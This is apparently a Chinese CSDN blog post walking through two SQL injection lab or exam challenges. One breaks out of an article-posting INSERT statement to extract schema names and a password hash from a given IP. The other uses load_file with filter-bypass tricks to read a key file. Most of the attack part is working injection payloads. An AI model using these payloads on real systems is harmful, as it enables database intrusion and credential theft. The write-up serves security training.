SQL注入示例

文章描述了如何利用SQL注入技术,如通过闭合标签和特殊字符绕过过滤,实现对文章发布系统中的数据插入,以及如何通过load_file函数读取外部文件。具体展示了两种攻击方法,包括在文章内容中嵌入SQL语句获取数据库信息和文件内容。
摘要由CSDN通过智能技术生成

 例一、SQL注入:文章发布系统

http://49.232.193.10:81/start/post.php

进入主页之后,首先尝试万能密码登录,由于无法登陆,接着尝试注册用户,然后发布文章,该页面对文章的内容有一定的过滤

// 代码过滤规则

while (strstr($sql,'--')) {
	$sql = str_replace("--", "", $sql);
}

while (strstr($sql,'#')) {
	$sql = str_replace("#", "", $sql);
}

然后会在页面的下面回显内容如下,其中第2~4位为文章题目、文章内容、作者

insert article1 value('3506C3EA-7F34-28C6-E467-BD2645DA5E1A','1','1','1234rfv')

并有回显点——“成功” 字样

619b8ec9b5854f5cad33f391e2704991.png

解题思路

1、让value通过 ')提前闭合(文章内容处),注意必须保证每一条都是四项内容
2、由于文章是使用插入一条数据的值,value(标题,内容,用户名)到数据库,可以同时插入两条内容:(标题,内容,用户名),(标题,内容,用户名)—— 使得第一条闭合,然后在第二条里面插入自己想要的语句

3、最后通过查看文章发表页面获得回显的内容

首先将它变为两条语句:第一条是正常的文章发表语句,第二条是要获得回显的语句
1','1234rfv'),('123456','2','3  

查询数据库名
1','1234rfv'),('1',database(),'select version() 

union联合查询数据库下的表名
1','1234rfv'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'3

查询列名
1','1234rfv'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3

查询字段
1','1234rfv'),('1',(select password from users1 limit 0,1),'3

最后依次使用 limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1) 切割查看所有的字段,结果均为:81dc9bdb52d04dc20036dbd8313ed055        (或者使用burp依次遍历)

flag{81dc9bdb52d04dc20036dbd8313ed055}

例二、基础SQL注入:load_file读文件

568b46ff3f1d411e8fbd6ce73a46196d.pngCISP-PTE 认证考试

首先是有单引号和括号的,首要是要闭合,然后回显点是在-1的位置,读取文件上面的key的话使用的是load_file('/tmp/360/key')

id=-1')%09ununionion%09select%091,2,3,load_file('/tmp/360/key')#

首先闭合,然后%09绕过空格,双写绕过关键字,load_file('/tmp/360/key')下载文件

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Nosery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值